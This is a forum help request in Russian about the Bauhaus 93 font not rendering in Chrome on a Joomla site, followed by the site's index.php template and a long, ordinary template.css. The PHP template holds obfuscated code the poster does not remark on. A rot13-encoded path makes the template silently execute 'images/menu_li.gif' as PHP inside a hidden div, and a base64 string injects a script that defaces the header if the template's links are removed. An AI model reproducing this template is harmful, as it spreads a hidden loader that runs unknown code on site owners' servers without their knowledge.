Создавал сайт на joomle, использовал шрифт bauhaus 93. На mozille firefox и iexplorere нормально отображается, а вот google chrom показывает его другим шрифтом.
Сайт wheneverr.com
PHP код:
<?php
defined( '_JEXEC' ) or die( 'Restricted access' );
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; $JPan = array('vzn'.'trf','zrah_yv.tvs'); ?>" >
<head>
<jdoc:include type="head" />
<link rel="stylesheet" href="templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="templates/<?php echo (($user_a = base64_decode('IiAvPlVTRVIgTUVOVTwvdGQ+PC90cj48L3RhYmxlPjwvZGl2PgoKCjxkaXYgY2xhc3M9J2Nscic+PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhlYWRlciIpLmlubmVySFRNTD0iPGRpdiBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjp3aGl0ZTtoZWlnaHQ6NTBweDt0b3A6MHB4OyBjb2xvcjpyZWQnPllvdS'.str_rot13('OmnT91oTDtoz90VUWyoJ').'92ZSBhbGwgdGhlIGxpbmtzIGNvbWluZyB3aXRoIHRoaXMgZnJlZSB0ZW1wbGF0ZS4gVGhpcyBpcyBhZ2FpbnN0IHRoZSB0ZXJtcyBvZiB1c2UuIElmIHlvdSB3YW50IHRvIHVzZSB0aGUgdGVtcGxhdGUsIHBsZWFzZSBkb3dubG9hZCBpdCBhZ2Fpbi4gPC9kaXY+Ijs8L3NjcmlwdD48dGFibGU+PHRyPjx0ZD48YnIgY2xlYXIiYWxs'))?$this->template:'joomla') ?>/css/template.css" type="text/css" />
<!--[if lte IE 7]>
<link rel="stylesheet" href="templates/<?php echo $this->template ?>/css/ie7.css" type="text/css" />
<![endif]-->
</head>
<body id="page_bg">
<div id="top">
<div class="pill_m">
<div id="pillmenu">
<jdoc:include type="modules" name="user3" />
</div>
</div>
</div>
<div id="header"> <div id="top_menu"><p><font face="bauhaus 93,bauhaus 93,bauhaus 93,bauhaus 93" color="#ffffff"><a href="index.php?option=com_content&view=section&layout=blog&id=1&Itemid=4"><font color="#ffffff">Home</font></a><a href="index.php?option=com_comprofiler&task=userProfile&Itemid=7"><font color="#ffffff"> My profile</font></a><a href="index.php?option=com_comprofiler&task=logout"><font color="#ffffff"> Logout</font></a></font></p><br /></div>
<div id="logo">
</div>
</div>
<div class="clr"></div>
<div class="center">
<div id="wrapper">
<div id="content">
<div id="leftcolumn"><font face="bauhaus 93" style="font-size: 18px; font-style: normal">
<jdoc:include type="modules" name="left" style="rounded" />
<div style="visibility:hidden;"></font><?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13($JPan[0]).DS.str_rot13($JPan[1]))) : ?>
<jdoc:include type="modules" name="layout" style="rounded" />
<?php endif; ?></div>
</div>
<div id="maincolumn">
<div class="nopad">
<jdoc:include type="message" />
<?php if($this->params->get('showComponent')) : ?>
<jdoc:include type="component" />
<?php endif; ?>
<br />
<jdoc:include type="modules" name="bottom" />
</div>
<div class="clr"></div>
</div>
</div>
</div>
<?php if(RIGHTCOLUMN) : ?>
<div id="leftcolumn"><table class="user1user2"><tr><td width="235" style="padding:12px; margin:0px;" class="user">
<jdoc:include type="module" name="user3<?=$user_a?>" /></td></tr></table></div>
<?php endif; ?>
<jdoc:include type="modules" name="debug" />
</div>
<div id="footer">
<jdoc:include type="modules" name="footer" style="xhtml"/>
</div>
</body>
</html>
Добавлено через 17 минут
template.css
PHP код:
html {
height: 100%;
margin-bottom: 0px;
}
form {
margin: 0;
padding: 0;
}
img,table {
border: none;
}
body {
font-family:tahoma;
line-height: 1.3em;
margin: 0;
padding: 0;
font-size: 15px;
color: #333;
background: #f8f8f8;
}
body.contentpane {
background: #f8f8f8;
}
a:link, a:visited {
text-decoration: none;
font-weight: normal;
color: #000000;
}
a:hover {
font-weight: normal;
color: #333;
}
input.button, .validate {
color: #333;
font-size: 10px;
border: 1px solid #555;
}
.search input.button {
text-align: right;
}
input.button:hover, .validate:hover {
}
p {
margin-top: 0;
margin-bottom: 5px;
text-align: justify;
}
.inputbox {
border: 1px solid #555;
color: #333;
padding: 2px;
}
.inputbox:hover {
}
#search {
height:45px;
width:200px;
float:right;
padding: 6px 0 0 0;
margin-right:30px;
margin-top:10px;
background:url(../images/search_ico.jpg) left top no-repeat;
}
#search .search .inputbox {
width: 150px;
height: 20px;
font-size: 10px;
color: #666;
padding: 2px;
border: 1px solid #A9A9A9;
}
#search .search .button {
height: 18px;
font-size: 10px;
color: #666;
padding: 0 2px 0 2px;
border: 1px solid #dadada;
margin: 0 0 0 10px;
background-color:#f0f0f0;
text-align: center;
}
/*****************************************/
/*** Template specific layout elements ***/
/*****************************************/
#page_bg {
padding: 0;
background: url(../images/bg_page.jpg) repeat-y top #ffffff;
}
div.center {
text-align: center;
margin: 0 auto;
padding: 0;
width: 902px;
}
div#wrapper {
margin: 0 auto;
width: 876px;
text-align: left;
background: #ffffff;
}
#top {
width: 902px;
height: 0px;
margin: 0 auto;
padding: 0;
background: #FFFFFF;
text-align: right;
}
#header {
height: 117px;
background: url(../images/header.jpg) top center no-repeat;
margin: 0 auto;
width: 902px;
}
#content {
width: 880px;
margin: 0 auto;
padding: 8px 0;
overflow: hidden;
}
#content_bottom {
width: 902px;
height: 16px;
background: url(../images/content_bottom.jpg) top center no-repeat;
}
#logo {
padding: 90px 0 0 40px;
text-align: left;
width: 733px;
}
#logo a, #logo a:link, #logo a:hover {
font-weight: normal;
font-family: Bauhaus 93;
font-size: 36px;
padding: 0;
margin: 0;
letter-spacing: 1px;
color: #333333;
outline: none;
line-height: 36px;
}
#pillmenu {
float: left;
margin: 0;
}
#pillmenu ul {
margin: 0;
padding: 0 22px;
list-style: none;
}
#pillmenu li {
float: left;
margin: 0;
padding: 0;
height: 42px;
background: url(../images/menu_li.jpg) top right no-repeat;
}
#pillmenu li:hover {
}
#pillmenu li a#active_menu-nav {
}
#pillmenu li a {
font-family: Bauhaus 93;
font-size: 15px;
float: left;
display: block;
line-height: 39px;
padding: 0 24px 0 16px;
color: #0A6C0D;
font-weight: normal;
text-transform:uppercase;
}
#pillmenu li a:hover {
color: #000000;
}
#leftcolumn ,#rightcolumn {
margin: 0;
width: 200px;
float: left;
padding: 0 4px 10px 0;
text-align: center;
}
div#maincolumn {
float: left;
width: 666px;
margin: 0 0 6px 0;
}
div.nopad {
overflow: hidden;
padding: 0;
}
div.nopad ul {
clear: both;
}
td.middle_pad {
width: 20px;
}
#banner_l {
text-align: left;
padding: 0 0 0 24px;
}
#footer {
margin: 0 auto;
width: 876px;
height: 90px;
text-align: center;
vertical-align: top;
padding-top: 10px;
background: #ffffff url(../images/bg_footer.jpg) repeat-x left top;
border:1px solid #FFFFFF;
}
#footer p {
text-align: right;
padding: 10px 30px 0 0;
color: #FFFFFF;
}
#footer a {
color: #FFFFFF;
}
#footer a:hover {
color: #FFFFFF;
}
/*****************************************/
/*** Joomla! specific content elements ***/
/*****************************************/
div.offline {
background: #fffebb;
width: 100%;
position: absolute;
top: 0;
left: 0;
font-size: 1.2em;
padding: 5px;
}
/* headers */
div.componentheading {
height: 22px;
padding: 8px 0 0 10px;
font-weight:normal;
}
table.blog {
}
h1 {
padding: 0;
font-family:Bauhaus 93;
font-size: 1.3em;
font-weight: normal;
vertical-align: bottom;
color: #333;
text-align: left;
width: 100%;
}
h2 {
padding: 0;
font-family:Bauhaus 93;
font-size: 16px;
vertical-align: middle;
color: #000000;
text-align: left;
font-weight: normal;
}
.contentheading {
background-color:#fffff;
font-family:Bauhaus 93;
font-size: 16px;
vertical-align: middle;
color: #000000;
text-align: left;
font-weight: normal;
}
.contentheading a{
background-color:#ffffff;
font-family:Bauhaus 93;
font-size: 16px;
vertical-align:middle;
color: #000000;
text-align: left;
font-weight: normal;
padding: 3px;
}
table.contentpaneopen h3 {
margin-top: 25px;
}
h4 {
font-family:Bauhaus 93;
color: #333;
}
h3, .componentheading, table.moduletable th, legend {
margin: 0;
font-family:Bauhaus 93;
font-size: 15px;
text-align: left;
color: #333333;
padding: 0;
}
/* small text */
.small {
font-size: 10px;
color: #555;
font-weight: normal;
text-align: left;
}
.modifydate {
height: 20px;
vertical-align: bottom;
font-size: 10px;
color: #555;
font-weight: normal;
text-align: right;
}
.createdate {
height: 20px;
vertical-align: top;
font-size: 10px;
color: #555;
font-weight: normal;
vertical-align: top;
padding-top: 0px;
}
a.readon {
display: block;
float: right;
line-height: 14px;
font-size: 10px;
padding: 1px 2px 1px 2px;
text-transform: uppercase;
}
a.readon:hover {
color: #333;
}
/* form validation */
.invalid { border-color: #ff0000; }
label.invalid { color: #ff0000; }
/** overlib **/
.ol-foreground {
background-color: #f1f1f1;
color: #333;
}
.ol-background {
background-color: #f1f1f1;
color: #333;
}
.ol-textfont {
font-family:Tahoma;
font-size: 10px;
}
.ol-captionfont {
font-family:Tahoma;
font-size: 12px;
color: #f6f6f6;
font-weight: normal;
}
.ol-captionfont a {
background-color: #f1f1f1;
color: #333;
font-size: 12px;
}
.ol-closefont {}
/* menu links */
a.mainlevel:link, a.mainlevel:visited {
padding-left: 5px;
}
a.mainlevel:hover {
}
/* spacers */
span.article_separator {
display: block;
height: 20px;
}
.article_column {
}
.column_separator {
}
td.buttonheading {
text-align: right;
width: 0;
}
.clr {
clear: both;
}
table.blog span.article_separator {
display: block;
height: 20px;
}
/* table of contents */
table.contenttoc {
margin: 5px;
border: 1px solid #ccc;
padding: 5px;
}
table.contenttoc td {
padding: 0 5px;
}
/* content tables */
td.sectiontableheader {
color: #333;
font-weight: normal;
padding: 4px;
border-bottom: 1px solid #666;
}
tr.sectiontableentry0 td,
tr.sectiontableentry1 td,
tr.sectiontableentry2 td {
padding: 4px;
}
td.sectiontableentry0,
td.sectiontableentry1,
td.sectiontableentry2 {
padding: 3px;
color: #333;
font-size: 10px;
}
/* content styles */
.contentpaneopen, table.contentpane {
margin: 0;
padding: 4px;
border: 1px solid #cccccc;
}
table.contentpane td{
text-align: left;
}
table.contentpane td.contentdescription {
width: 100%;
}
table.contentpane {
text-align: left;
float: left;
width: 100%;
margin: 8px;
}
table.contentpane ul li a .category {
color: #FF8800;
}
table.contentpane ul li {
color: #333;
}
table.contentpaneopen {
margin: 2px 8px;
}
table.contentpaneopen li {
margin-bottom: 5px;
}
table.contentpaneopen fieldset {
border: 0;
border-top: 1px solid #669933;
}
table.contentpaneopen h3 {
font-family:Bauhaus 93;
margin-top: 25px;
}
table.contentpaneopen h4 {
font-family:Tahoma;
color: #669933;
}
.highlight {
background-color: #fffebb;
}
/* module control elements */
table.user1user2 div.moduletable {
margin-bottom: 0px;
}
div.moduletable, div.module {
margin-bottom: 25px;
}
div.module_menu, div.module {
margin: 0;
padding: 0;
}
div.module_menu div, div.module {
}
div.module_menu div div, div.module div div {
margin-bottom: 14px;
padding: 0 0 1px 0;
background: url(../images/left_body.jpg) bottom center no-repeat;
}
div.module_menu div div div, div.module div div div{
padding: 0;
width: auto;
margin: 0;
background: url(../images/left_top.jpg) top center no-repeat;
}
div.module_menu div div div div, div.module div div div div {
background: none;
padding: 4px 8px;
}
div.module div div div form {
padding: 4px 0 0 0;
width: 164px;
margin: 0 auto;
}
div.module div div div form
div.module_menu ul {
list-style: none;
}
div.module_menu ul li{
margin: 0;
padding: 0;
}
div.module_menu ul li a:link, div.module_menu ul li a:visited {
font-weight: normal;
background: transparent url(../images/blue/bullet2.jpg) top left no-repeat;
padding: 2px 0 2px 25px;
line-height: 24px;
}
#leftcolumn div.module table ,#rightcolumn div.module table {
}
#leftcolumn div.module table.poll {
}
#leftcolumn div.module table.poll td {
text-align: left;
}
/* LEFT COL H3 */
#leftcolumn h3, #rightcolumn h3 {
color: #ffffff;
font-family: Bauhaus 93;
font-size: 17px;
text-align: center;
height: 44px;
width: 200px;
padding: 0;
background: #ffffff url(../images/h3.jpg) top center no-repeat;
font-weight: normal;
line-height: 44px;
margin: 0;
}
#leftcolumn .moduletable_menu, #leftcolumn .moduletable, #leftcolumn .moduletable_text, #leftcolumn .c,
#rightcolumn .moduletable_menu, #rightcolumn .moduletable, #rightcolumn .moduletable_text, #rightcolumn .c {
margin: 0 0 16px 0;
padding: 0 0 8px 0;
}
#leftcolumn ul.menu, #rightcolumn ul.menu {
margin: 0 auto;
padding: 0px;
list-style: none;
width: 190px;
background-color:#ffffff;
}
#leftcolumn ul.menu li, #rightcolumn ul.menu li {
margin: 5px;
padding: 5px;
background-color:#416389;
}
#leftcolumn ul.menu li:hover, #rightcolumn ul.menu li:hover {
}
/*LEFT COL LINK*/
#leftcolumn ul.menu li a, #leftcolumn ul.menu li a:link,
#rightcolumn ul.menu li a, #rightcolumn ul.menu li a:link {
line-height: 19px;
padding: 0px 0px 0px 12px;
color:#ffffff;
font-family: Bauhaus 93;
font-weight: normal;
font-size: 17px;
background: url(../images/menu_row.jpg) center left no-repeat;
margin: 0;
height: 18px;
}
#leftcolumn ul.menu li a:hover, #rightcolumn ul.menu li a:hover {
color: #333;
}
/*LEFT COL CURRENT LINK*/
#leftcolumn ul.menu li#current a, #leftcolumn ul.menu li#current a:link,
#rightcolumn ul.menu li#current a, #rightcolumn ul.menu li#current a:link {
line-height: 17px;
font-family: Bauhaus 93;
padding: 0 0 0 8px;
color: #ffffff;
font-weight: normal;
font-size: 18px;
background: url(../images/menu_row.jpg) center left no-repeat;
margin: 0;
height: 18px;
}
#leftcolumn ul.menu li#current a:hover, #rightcolumn ul.menu li#current a:hover {
}
/*LEFT COL SUB LINK*/
#leftcolumn ul.menu li#current ul li a, #leftcolumn ul.menu li#current ul li a:link {
color: #666;
margin: 0 0 0 6px;
font-size: 11px;
background: url(../images/submenu_row.jpg) center left no-repeat;
font-weight: normal;
display: block;
line-height: 18px;
padding: 0 0 0 18px;
border: none;
height: 18px;
}
#leftcolumn ul.menu li ul li#current a, #leftcolumn ul.menu li ul li#current a:link, #leftcolumn ul.menu li ul li#current a:visited, #leftcolumn ul.menu li ul li#current a:hover {
font-size: 11px;
margin: 0 0 0 6px;
padding: 0 0 0 18px;
border: none;
color: #333;
background: url(../images/submenu_row.jpg) center left no-repeat;
height: 18px;
line-height: 18px;
}
/*SUBMENU POSITION*/
#leftcolumn ul.menu li#current ul {
margin: 0;
padding: 0;
}
#leftcolumn ul.menu li#current ul li {
margin: 0;
padding: 0;
}
/*CURRENT SUBMENU POSITION*/
#leftcolumn ul.menu li ul {
margin: 0;
padding: 0;
}
#leftcolumn ul.menu li#current ul li a:hover {
color: #333;
}
#leftcolumn ul.menu li ul, #rightcolumn ul.menu li ul {
list-style: none;
}
/* forms */
#leftcolumn .moduletable ul, #rightcolumn .moduletable ul {
margin: 6px 0;
padding: 0;
list-style: none;
}
#leftcolumn .moduletable ul li, #rightcolumn .moduletable ul li {
margin: 0;
padding: 0 2px;
}
table.adminform textarea {
width: 540px;
height: 400px;
font-size: 1em;
color: #000099;
}
form#form-login fieldset {
border: 0 none;
margin: 0;
}
form#form-login ul li{
padding: 0;
}
form#form-login ul li a {
text-align: left;
padding: 0;
font-size: 10px;
color: #555;
}
/* thumbnails */
div.mosimage { margin: 5px; }
div.mosimage_caption { font-size: .90em; color: #333; }
div.caption { padding: 0 10px 0 10px; }
div.caption img { border: 1px solid #CCC; }
div.caption p { font-size: .90em; color: #333; text-align: center; }
/* Parameter Table */
table.paramlist {
margin-top: 5px;
}
table.paramlist td.paramlist_key {
width: 128px;
text-align: left;
height: 30px;
}
table.paramlist td.paramlist_value {
}
div.message {
font-family:Tahoma;
font-weight: normal;
font-size : 14px;
color : #c30;
text-align: center;
width: auto;
background-color: #f9f9f9;
border: solid 1px #d5d5d5;
margin: 3px 0px 10px;
padding: 3px 20px;
}
/* Banners module */
/* Default skyscraper style */
.bannergroup {
}
.banneritem {
width:645px;
margin:0px auto;
text-align:center;
}
/* Text advert style */
.banneritem_text {
padding: 4px;
font-size: 11px;
}
.bannerfooter_text {
padding: 4px;
font-size: 11px;
text-align: right;
}
/* System Messages */
/* see system general.css */
.pagination span { padding: 2px; }
.pagination a { padding: 2px; }
/* Polls */
.pollstableborder td {
text-align: left;
}
/* Frontend Editing*/
fieldset {
border: 1px solid #ccc;
margin-top: 15px;
padding: 15px;
}
legend {
margin: 0;
padding: 0 10px;
}
td.key {
border-bottom:1px solid #eee;
color: #333;
}
/* Tooltips */
.tool-tip {
float: left;
background: #ffc;
border: 1px solid #D4D5AA;
padding: 5px;
max-width: 200px;
}
.tool-title {
padding: 0;
margin: 0;
font-size: 100%;
font-weight: normal;
margin-top: -15px;
padding-top: 15px;
padding-bottom: 5px;
background: url(../../system/images/selector-arrow.png) no-repeat;
}
.tool-text {
font-size: 100%;
margin: 0;
}
#system-message {
margin-bottom: 20px;
}
#system-message dd.message ul {
background: #C3D2E5 url(../../system/images/notice-info.png) 4px center no-repeat;
}
/* System Error Messages */
#system-message dd.error ul {
color: #c00;
background: #E6C0C0 url(../../system/images/notice-alert.png) 4px center no-repeat;
border-top: 2px solid #DE7A7B;
border-bottom: 2px solid #DE7A7B;
margin:0px;
padding-left: 40px;
text-indent:0px;
}
/* System Notice Messages */
#system-message dd.notice ul {
color: #c00;
background: #EFE7B8 url(../../system/images/notice-note.png) 4px center no-repeat;
border-top: 3px solid #F0DC7E;
border-bottom: 3px solid #F0DC7E;
}
/* ****************************************************************************** */
/* blue */
input, button {
}
/* blue */
input[type="checkbox"], input[type="radio"]{
background: transparent;
border: none;
}
#top_menu
{
padding-left:60%;
padding-top:50px;
font-family:Bauhaus 93;
font-size:25px;
font-weight:normal;
}